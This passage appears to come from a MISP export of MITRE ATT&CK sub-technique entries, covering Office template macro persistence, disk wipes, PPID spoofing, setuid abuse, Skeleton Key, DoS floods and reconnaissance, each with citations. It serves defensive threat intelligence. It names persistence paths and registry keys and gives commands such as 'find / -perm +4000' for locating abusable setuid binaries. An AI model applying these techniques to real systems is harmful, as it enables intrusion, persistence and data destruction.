Office Visual Basic for Applications (VBA) macros (Citation: MSDN VBA in Office) can be inserted into the base template and used to execute code when the respective Office application starts in order to obtain persistence. Examples for both Word and Excel have been discovered and published. By default, Word has a Normal.dotm template created that can be modified to include a malicious macro. Excel does not have a template file created by default, but one can be added that will automatically be loaded.(Citation: enigma0x3 normal.dotm)(Citation: Hexacorn Office Template Macros) Shared templates may also be stored and pulled from remote locations.(Citation: GlobalDotName Jun 2019)

Word Normal.dotm location:
 <code>C:\Users<username>\AppData\Roaming\Microsoft\Templates\Normal.dotm</code>

Excel Personal.xlsb location:
 <code>C:\Users<username>\AppData\Roaming\Microsoft\Excel\XLSTART\PERSONAL.XLSB</code>

Adversaries may also change the location of the base template to point to their own by hijacking the application’s search order, e.g. Word 2016 will first look for Normal.dotm under <code>C:\Program Files (x86)\Microsoft Office\root\Office16\</code>, or by modifying the GlobalDotName registry key. By modifying the GlobalDotName registry key an adversary can specify an arbitrary location, file name, and file extension to use for the template that will be loaded on application startup. To abuse GlobalDotName, adversaries may first need to register the template as a trusted document or place it in a trusted location.(Citation: GlobalDotName Jun 2019)

An adversary may need to enable macros to execute unrestricted depending on the system or enterprise security policy on use of macros.

The tag is: *misp-galaxy:mitre-attack-pattern="Office Template Macros - T1137.001"*

Table 3930. Table References

Links
http://www.hexacorn.com/blog/2017/04/19/beyond-good-ol-run-key-part-62/
https://attack.mitre.org/techniques/T1137/001
https://enigma0x3.net/2014/01/23/maintaining-access-with-normal-dotm/comment-page-1/

https://malware.news/t/using-outlook-forms-for-lateral-movement-and-persistence/13746
https://medium.com/@bwtech789/outlook-today-homepage-persistence-33ea9b505943
https://msdn.microsoft.com/en-us/vba/office-shared-vba/articles/getting-started-with-vba-in-office
https://support.office.com/article/Change-the-Normal-template-Normal-dotm-06de294b-d216-47f6-ab77-ccb5166f98ea
https://www.221bluestreet.com/post/office-templates-and-globaldotname-a-stealthy-office-persistence-technique

System Language Discovery - T1614.001

Adversaries may attempt to gather information about the system language of a victim in order to infer the geographical location of that host. This information may be used to shape follow-on behaviors, including whether the adversary infects the target and/or attempts specific actions. This decision may be employed by malware developers and operators to reduce their risk of attracting the attention of specific law enforcement agencies or prosecution/scrutiny from other entities.(Citation: Malware System Language Check)

There are various sources of data an adversary could use to infer system language, such as system defaults and keyboard layouts. Specific checks will vary based on the target and/or adversary, but may involve behaviors such as [Query Registry](https://attack.mitre.org/techniques/T1012) and calls to [Native API](https://attack.mitre.org/techniques/T1106) functions.(Citation: CrowdStrike Ryuk January 2019)

For example, on a Windows system adversaries may attempt to infer the language of a system by querying the registry key <code>HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Nls\Language</code> or parsing the outputs of Windows API functions <code>GetUserDefaultUILanguage</code>, <code>GetSystemDefaultUILanguage</code>, <code>GetKeyboardLayoutList</code> and <code>GetUserDefaultLangID</code>.(Citation: Darkside Ransomware Cybereason)(Citation: Securelist JSWorm)(Citation: SecureList SynAck Doppelgänging May 2018)

On a macOS or Linux system, adversaries may query <code>locale</code> to retrieve the value of the <code>$LANG</code> environment variable.

The tag is: *misp-galaxy:mitre-attack-pattern="System Language Discovery - T1614.001"*

Table 3931. Table References

Links
https://attack.mitre.org/techniques/T1614/001
https://securelist.com/evolution-of-jsworm-ransomware/102428/
https://securelist.com/synack-targeted-ransomware-uses-the-doppelganging-technique/85431/
https://www.crowdstrike.com/blog/big-game-hunting-with-ryuk-another-lucrative-targeted-ransomware/
https://www.cybereason.com/blog/cybereason-vs-darkside-ransomware

https://www.welivesecurity.com/2009/01/15/malware-trying-to-avoid-some-countries/

Disk Content Wipe - T1561.001

Adversaries may erase the contents of storage devices on specific systems or in large numbers in a network to interrupt availability to system and network resources.

Adversaries may partially or completely overwrite the contents of a storage device rendering the data irrecoverable through the storage interface.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware)(Citation: DOJ Lazarus Sony 2018) Instead of wiping specific disk structures or files, adversaries with destructive intent may wipe arbitrary portions of disk content. To wipe disk content, adversaries may acquire direct access to the hard drive in order to overwrite arbitrarily sized portions of disk with random data.(Citation: Novetta Blockbuster Destructive Malware) Adversaries have been observed leveraging third-party drivers like [RawDisk](https://attack.mitre.org/software/S0364) to directly access disk content.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster Destructive Malware) This behavior is distinct from [Data Destruction](https://attack.mitre.org/techniques/T1485) because sections of the disk are erased instead of individual files.

To maximize impact on the target organization in operations where network-wide availability interruption is the goal, malware used for wiping disk content may have worm-like features to propagate across a network by leveraging additional techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Novetta Blockbuster Destructive Malware)

The tag is: *misp-galaxy:mitre-attack-pattern="Disk Content Wipe - T1561.001"*

Table 3932. Table References

Links
https://attack.mitre.org/techniques/T1561/001
https://docs.microsoft.com/sysinternals/downloads/sysmon
https://operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Destructive-Malware-Report.pdf
https://www.justice.gov/opa/press-release/file/1092091/download
https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf

Security Software Discovery - T1518.001

Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from [Security Software Discovery](https://attack.mitre.org/techniques/T1518/001) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.

Example commands that can be used to obtain security software information are [netsh](https://attack.mitre.org/software/S0108), <code>reg query</code> with [Reg](https://attack.mitre.org/software/S0075), <code>dir</code> with [cmd](https://attack.mitre.org/software/S0106), and [Tasklist](https://attack.mitre.org/software/S0057), but other indicators of discovery behavior may be more specific to the type of software or security system the adversary is looking for. It is becoming more common to see macOS malware perform checks for LittleSnitch and KnockKnock software.

Adversaries may also utilize cloud APIs to discover the configurations of firewall rules within an environment.(Citation: Expel IO Evil in AWS) For example, the permitted IP ranges, ports or user accounts for the inbound/outbound rules of security groups, virtual firewalls established within AWS for EC2 and/or VPC instances, can be revealed by the <code>DescribeSecurityGroups</code> action with various request parameters. (Citation: DescribeSecurityGroups - Amazon Elastic Compute Cloud)

The tag is: *misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001"*

Table 3933. Table References

Links
https://attack.mitre.org/techniques/T1518/001
https://capec.mitre.org/data/definitions/581.html
https://docs.aws.amazon.com/AWSEC2/latest/APIReference/API_DescribeSecurityGroups.html
https://expel.io/blog/finding-evil-in-aws/

Determine Physical Locations - T1591.001

Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).

The tag is: *misp-galaxy:mitre-attack-pattern="Determine Physical Locations - T1591.001"*

Table 3934. Table References

Links
https://attack.mitre.org/techniques/T1591/001
https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/
https://www.sec.gov/edgar/search-and-access

Credentials In Files - T1552.001

Adversaries may search local file systems and remote file shares for files containing insecurely stored credentials. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords.

It is possible to extract passwords from backups or saved virtual machines through [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP)

In cloud and/or containerized environments, authenticated user and service account credentials are often stored in local configuration and credential files.(Citation: Unit 42 Hildegard Malware) They may also be found as parameters to deployment commands in container logs.(Citation: Unit 42 Unsecured Docker Daemons) In some cases, these files can be copied and reused on another machine or the contents can be read and then used to authenticate without needing to copy any files.(Citation: Specter Ops - Cloud Credential Storage)

The tag is: *misp-galaxy:mitre-attack-pattern="Credentials In Files - T1552.001"*

Table 3935. Table References

Links
http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx
http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html
https://attack.mitre.org/techniques/T1552/001
https://capec.mitre.org/data/definitions/639.html
https://posts.specterops.io/head-in-the-clouds-bd038bb69e48
https://unit42.paloaltonetworks.com/attackers-tactics-and-techniques-in-unsecured-docker-daemons-revealed/
https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/

Disk Structure Wipe - T1561.002

Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources.

Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.

To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Disk Structure Wipe - T1561.002"*

Table 3936. Table References

Links
http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/
https://attack.mitre.org/techniques/T1561/002
https://docs.microsoft.com/sysinternals/downloads/sysmon
https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf
https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/
https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html
https://www.symantec.com/connect/blogs/shamoon-attacks

Parent PID Spoofing - T1134.004

Adversaries may spoof the parent process identifier (PPID) of a new process to evade process-monitoring defenses or to elevate privileges. New processes are typically spawned directly from their parent, or calling, process unless explicitly specified. One way of explicitly assigning the PPID of a new process is via the <code>CreateProcess</code> API call, which supports a parameter that defines the PPID to use.(Citation: DidierStevens SelectMyParent Nov 2009) This functionality is used by Windows features such as User Account Control (UAC) to correctly set the PPID after a requested elevated process is spawned by SYSTEM (typically via <code>svchost.exe</code> or <code>consent.exe</code>) rather than the current user context.(Citation: Microsoft UAC Nov 2018)

Adversaries may abuse these mechanisms to evade defenses, such as those blocking processes spawning directly from Office documents, and analysis targeting unusual/potentially malicious parent-child process relationships, such as spoofing the PPID of [PowerShell](Rundll32 (https://attack.mitre.org/techniques/T1218/011) to be <code>explorer.exe</code> rather than an Office document delivered as part of [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001).(Citation: CounterCept PPID Spoofing Dec 2018) This spoofing could be executed via [Visual Basic](https://attack.mitre.org/techniques/T1059/005) within a malicious Office document or any code that can perform [Native API](https://attack.mitre.org/techniques/T1106).(Citation: CTD PPID Spoofing Macro Mar 2019)(Citation: CounterCept PPID Spoofing Dec 2018)

Explicitly assigning the PPID may also enable elevated privileges given appropriate access rights to the parent process. For example, an adversary in a privileged user context (i.e. administrator) may spawn a new process and assign the parent as a process running as SYSTEM (such as <code>lsass.exe</code>), causing the new process to be elevated via the inherited access token.(Citation: XPNSec PPID Nov 2017)

The tag is: *misp-galaxy:mitre-attack-pattern="Parent PID Spoofing - T1134.004"*

Table 3937. Table References

Links
https://attack.mitre.org/techniques/T1134/004
https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/
https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/
https://blog.xpnsec.com/becoming-system/
https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags
https://docs.microsoft.com/windows/security/identity-protection/user-account-control/how-user-account-control-works
https://www.countercept.com/blog/detecting-parent-pid-spoofing/
https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3

Outlook Home Page - T1137.004

Adversaries may abuse Microsoft Outlook's Home Page feature to obtain persistence on a compromised system. Outlook Home Page is a legacy feature used to customize the presentation of Outlook folders. This feature allows for an internal or external URL to be loaded and presented whenever a folder is opened. A malicious HTML page can be crafted that will execute code when loaded by Outlook Home Page.(Citation: SensePost Outlook Home Page)

Once malicious home pages have been added to the user's mailbox, they will be loaded when

Outlook is started. Malicious Home Pages will execute when the right Outlook folder is loaded/reloaded.(Citation: SensePost Outlook Home Page)

The tag is: *misp-galaxy:mitre-attack-pattern="Outlook Home Page - T1137.004"*

Table 3938. Table References

Links
https://attack.mitre.org/techniques/T1137/004
https://docs.microsoft.com/en-us/office365/securitycompliance/detect-and-remediate-outlook-rules-forms-attack
https://github.com/sensepost/notruler
https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/

Identify Business Tempo - T1591.003

Adversaries may gather information about the victim's business tempo that can be used during targeting. Information about an organization's business tempo may include a variety of details, including operational hours/days of the week. This information may also reveal times/dates of purchases and shipments of the victim's hardware and software resources.

Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about business tempo may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ThreatPost Broadvoice Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [Trusted Relationship](https://attack.mitre.org/techniques/T1199))

The tag is: *misp-galaxy:mitre-attack-pattern="Identify Business Tempo - T1591.003"*

Table 3939. Table References

Links
https://attack.mitre.org/techniques/T1591/003
https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/

Group Policy Modification - T1484.001

Adversaries may modify Group Policy Objects (GPOs) to subvert the intended discretionary access controls for a domain, usually with the intention of escalating privileges on the domain. Group policy allows for centralized management of user and computer settings in Active Directory (AD).

GPOs are containers for group policy settings made up of files stored within a predicable network path <code>\<DOMAIN>\SYSVOL<DOMAIN>\Policies\</code>.(Citation: TechNet Group Policy Basics)(Citation: ADSecurity GPO Persistence 2016)

Like other objects in AD, GPOs have access controls associated with them. By default all user accounts in the domain have permission to read GPOs. It is possible to delegate GPO access control permissions, e.g. write access, to specific users or groups in the domain.

Malicious GPO modifications can be used to implement many other malicious behaviors such as [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053), [Disable or Modify Tools](https://attack.mitre.org/techniques/T1562/001), [Ingress Tool Transfer](https://attack.mitre.org/techniques/T1105), [Create Account](https://attack.mitre.org/techniques/T1136), [Service Execution](https://attack.mitre.org/techniques/T1569/002), and more.(Citation: ADSecurity GPO Persistence 2016)(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions)(Citation: Mandiant M Trends 2016)(Citation: Microsoft Hacking Team Breach) Since GPOs can control so many user and machine settings in the AD environment, there are a great number of potential attacks that can stem from this GPO abuse.(Citation: Wald0 Guide to GPOs)

For example, publicly available scripts such as <code>New-GPOImmediateTask</code> can be leveraged to automate the creation of a malicious [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) by modifying GPO settings, in this case modifying <code><GPO_PATH>\Machine\Preferences\ScheduledTasks\ScheduledTasks.xml</code>.(Citation: Wald0 Guide to GPOs)(Citation: Harmj0y Abusing GPO Permissions) In some cases an adversary might modify specific user rights like SeEnableDelegationPrivilege, set in <code><GPO_PATH>\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf</code>, to achieve a subtle AD backdoor with complete control of the domain because the user account under the adversary’s control would then be able to modify GPOs.(Citation: Harmj0y SeEnableDelegationPrivilege Right)

The tag is: *misp-galaxy:mitre-attack-pattern="Group Policy Modification - T1484.001"*

Table 3940. Table References

Links
http://www.harmj0y.net/blog/activedirectory/the-most-dangerous-user-right-you-probably-have-never-heard-of/
http://www.harmj0y.net/blog/redteaming/abusing-gpo-permissions/
https://adsecurity.org/?p=2716
https://attack.mitre.org/techniques/T1484/001
https://blogs.technet.microsoft.com/musings_of_a_technical_tam/2012/02/13/group-policy-basics-part-1-understanding-the-structure-of-a-group-policy-object/
https://wald0.com/?p=179
https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/rpt-mtrends-2016.pdf
https://www.microsoft.com/security/blog/2016/06/01/hacking-team-breach-a-cyber-jurassic-park/

Process Argument Spoofing - T1564.010

Adversaries may attempt to hide process command-line arguments by overwriting process memory. Process command-line arguments are stored in the process environment block (PEB), a data structure used by Windows to store various information about/used by a process. The PEB includes the process command-line arguments that are referenced when executing the process. When a process is created, defensive tools/sensors that monitor process creations may retrieve the process arguments from the PEB.(Citation: Microsoft PEB 2021)(Citation: Xpn Argue Like Cobalt 2019)

Adversaries may manipulate a process PEB to evade defenses. For example, [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) can be abused to spawn a process in a suspended state with benign arguments. After the process is spawned and the PEB is initialized (and process information is potentially logged by tools/sensors), adversaries may override the PEB to modify the command-line arguments (ex: using the [Native API](https://attack.mitre.org/techniques/T1106) <code>WriteProcessMemory()</code> function) then resume process execution with malicious arguments.(Citation: Cobalt Strike Arguments 2019)(Citation: Xpn Argue Like Cobalt 2019)(Citation: Nviso Spoof Command Line 2020)

Adversaries may also execute a process with malicious command-line arguments then patch the memory with benign arguments that may bypass subsequent process memory analysis.(Citation: FireEye FiveHands April 2021)

This behavior may also be combined with other tricks (such as [Parent PID Spoofing](https://attack.mitre.org/techniques/T1134/004)) to manipulate or further evade process-based detections.

The tag is: *misp-galaxy:mitre-attack-pattern="Process Argument Spoofing - T1564.010"*

Table 3941. Table References

Links
https://attack.mitre.org/techniques/T1564/010
https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/
https://blog.nviso.eu/2020/02/04/the-return-of-the-spoof-part-2-command-line-spoofing/
https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/
https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-peb
https://www.fireeye.com/blog/threat-research/2021/04/unc2447-sombrat-and-fivehands-ransomware-sophisticated-financial-threat.html
https://www.mandiant.com/resources/staying-hidden-on-the-endpoint-evading-detection-with-shellcode

Setuid and Setgid - T1548.001

An adversary may abuse configurations where an application has the setuid or setgid bits set in order to get code running in a different (and possibly more privileged) user's context. On Linux or macOS, when the setuid or setgid bits are set for an application binary, the application will run with the privileges of the owning user or group respectively.(Citation: setuid man page) Normally an application is run in the current user's context, regardless of which user or group owns the application. However, there are instances where programs need to be executed in an elevated context to function properly, but the user running them may not have the specific required privileges.

Instead of creating an entry in the sudoers file, which must be done by root, any user can specify the setuid or setgid flag to be set for their own applications (i.e. [Linux and Mac File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222/002)). The <code>chmod</code> command can set these bits with bitmasking, <code>chmod 4777 [file]</code> or via shorthand naming, <code>chmod u+s [file]</code>. This will enable the setuid bit. To enable the setgit bit, <code>chmod 2775</code> and <code>chmod g+s</code> can be used.

Adversaries can use this mechanism on their own malware to make sure they're able to execute in elevated contexts in the future.(Citation: OSX Keydnap malware) This abuse is often part of a "shell escape" or other actions to bypass an execution environment with restricted permissions.

Alternatively, adversaries may choose to find and target vulnerable binaries with the setuid or setgid bits already enabled (i.e. [File and Directory Discovery](https://attack.mitre.org/techniques/T1083)). The setuid and setguid bits are indicated with an "s" instead of an "x" when viewing a file's attributes via <code>ls -l</code>. The <code>find</code> command can also be used to search for such files. For example, <code>find / -perm +4000 2>/dev/null</code> can be used to find files with setuid set and <code>find / -perm +2000 2>/dev/null</code> may be used for setgid. Binaries that have these bits set may then be abused by adversaries.(Citation: GTFOBins Suid)

The tag is: *misp-galaxy:mitre-attack-pattern="Setuid and Setgid - T1548.001"*

Table 3942. Table References

Links
http://man7.org/linux/man-pages/man2/setuid.2.html
https://attack.mitre.org/techniques/T1548/001
https://gtfobins.github.io/+suid[https://gtfobins.github.io/+suid]
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/

Direct Network Flood - T1498.001

Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.

Botnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global

Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)

The tag is: *misp-galaxy:mitre-attack-pattern="Direct Network Flood - T1498.001"*

Table 3943. Table References

Links
https://attack.mitre.org/techniques/T1498/001
https://capec.mitre.org/data/definitions/125.html
https://capec.mitre.org/data/definitions/486.html
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged

OS Exhaustion Flood - T1499.001

Adversaries may launch a denial of service (DoS) attack targeting an endpoint's operating system (OS). A system's OS is responsible for managing the finite resources as well as preventing the entire system from being overwhelmed by excessive demands on its capacity. These attacks do not need to exhaust the actual resources on a system; the attacks may simply exhaust the limits and available resources that an OS self-imposes.

Different ways to achieve this exist, including TCP state-exhaustion attacks such as SYN floods and ACK floods.(Citation: Arbor AnnualDoSreport Jan 2018) With SYN floods, excessive amounts of SYN packets are sent, but the 3-way TCP handshake is never completed. Because each OS has a maximum number of concurrent TCP connections that it will allow, this can quickly exhaust the ability of the system to receive new requests for TCP connections, thus preventing access to any TCP service provided by the server.(Citation: Cloudflare SynFlood)

ACK floods leverage the stateful nature of the TCP protocol. A flood of ACK packets are sent to the target. This forces the OS to search its state table for a related TCP connection that has already been established. Because the ACK packets are for connections that do not exist, the OS will have to search the entire state table to confirm that no match exists. When it is necessary to do this for a large flood of packets, the computational requirements can cause the server to become sluggish and/or unresponsive, due to the work it must do to eliminate the rogue ACK packets. This greatly reduces the resources available for providing the targeted service.(Citation: Corero SYN-ACKflood)

The tag is: *misp-galaxy:mitre-attack-pattern="OS Exhaustion Flood - T1499.001"*

Table 3944. Table References

Links
https://attack.mitre.org/techniques/T1499/001
https://capec.mitre.org/data/definitions/469.html
https://capec.mitre.org/data/definitions/482.html
https://pages.arbornetworks.com/rs/082-KNA-087/images/13th_Worldwide_Infrastructure_Security_Report.pdf
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
https://www.cloudflare.com/learning/ddos/syn-flood-ddos-attack/
https://www.corero.com/resources/ddos-attack-types/syn-flood-ack.html

Domain Controller Authentication - T1556.001

Adversaries may patch the authentication process on a domain controller to bypass the typical authentication mechanisms and enable access to accounts.

Malware may be used to inject false credentials into the authentication process on a domain controller with the intent of creating a backdoor used to access any user's account and/or credentials (ex: [Skeleton Key](https://attack.mitre.org/software/S0007)). Skeleton key works through a patch on an enterprise domain controller authentication process (LSASS) with credentials that adversaries may use to bypass the standard authentication system. Once patched, an adversary can use the injected password to successfully authenticate as any domain user account (until the the skeleton key is erased from memory by a reboot of the domain controller). Authenticated access may enable unfettered access to hosts and/or resources within single-factor authentication environments.(Citation: Dell Skeleton)

The tag is: *misp-galaxy:mitre-attack-pattern="Domain Controller Authentication - T1556.001"*

Table 3945. Table References

Links
https://attack.mitre.org/techniques/T1556/001
https://technet.microsoft.com/en-us/library/dn487457.aspx
https://www.secureworks.com/research/skeleton-key-malware-analysis

Stored Data Manipulation - T1565.001

Adversaries may insert, delete, or manipulate data at rest in order to influence external outcomes or hide activity, thus threatening the integrity of the data.(Citation: FireEye APT38 Oct 2018)(Citation: DOJ Lazarus Sony 2018) By manipulating stored data, adversaries may attempt to affect a business process, organizational understanding, and decision making.

Stored data could include a variety of file formats, such as Office files, databases, stored emails, and custom file formats. The type of modification and the impact it will have depends on the type of data as well as the goals and objectives of the adversary. For complex systems, an adversary would likely need special expertise and possibly access to specialized software related to the system that would typically be gained through a prolonged information gathering campaign in order to have the desired impact.

The tag is: *misp-galaxy:mitre-attack-pattern="Stored Data Manipulation - T1565.001"*

Table 3946. Table References

Links
https://attack.mitre.org/techniques/T1565/001
https://content.fireeye.com/apt/rpt-apt38
https://www.justice.gov/opa/press-release/file/1092091/download

Social Media Accounts - T1585.001

Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)

For operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.

Once a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).

The tag is: *misp-galaxy:mitre-attack-pattern="Social Media Accounts - T1585.001"*

Table 3947. Table References

Links
http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf
https://attack.mitre.org/techniques/T1585/001
https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation

Scanning IP Blocks - T1595.001

Adversaries may scan victim IP blocks to gather information that can be used during targeting. Public IP addresses may be allocated to organizations by block, or a range of sequential addresses.

Adversaries may scan IP blocks in order to [Gather Victim Network Information](https://attack.mitre.org/techniques/T1590), such as which IP addresses are actively in use as well as more detailed information about hosts assigned these addresses. Scans may range from simple pings (ICMP requests and responses) to more nuanced scans that may reveal host software/versions via server banners or other network artifacts.(Citation: Botnet Scan) Information from these scans may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133)).

The tag is: *misp-galaxy:mitre-attack-pattern="Scanning IP Blocks - T1595.001"*

Table 3948. Table References

Links
https://attack.mitre.org/techniques/T1595/001
https://www.caida.org/publications/papers/2012/analysis_slash_zero/analysis_slash_zero.pdf

Component Object Model - T1559.001

Adversaries may use the Windows Component Object Model (COM) for local code execution. COM is an inter-process communication (IPC) component of the native Windows application programming interface (API) that enables interaction between software objects, or executable code that implements one or more interfaces.(Citation: Fireeye Hunting COM June 2019) Through COM, a client object can call methods of server objects, which are typically binary Dynamic Link Libraries (DLL) or executables (EXE).(Citation: Microsoft COM) Remote COM execution is facilitated by [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) (DCOM).(Citation: Fireeye Hunting COM June 2019)

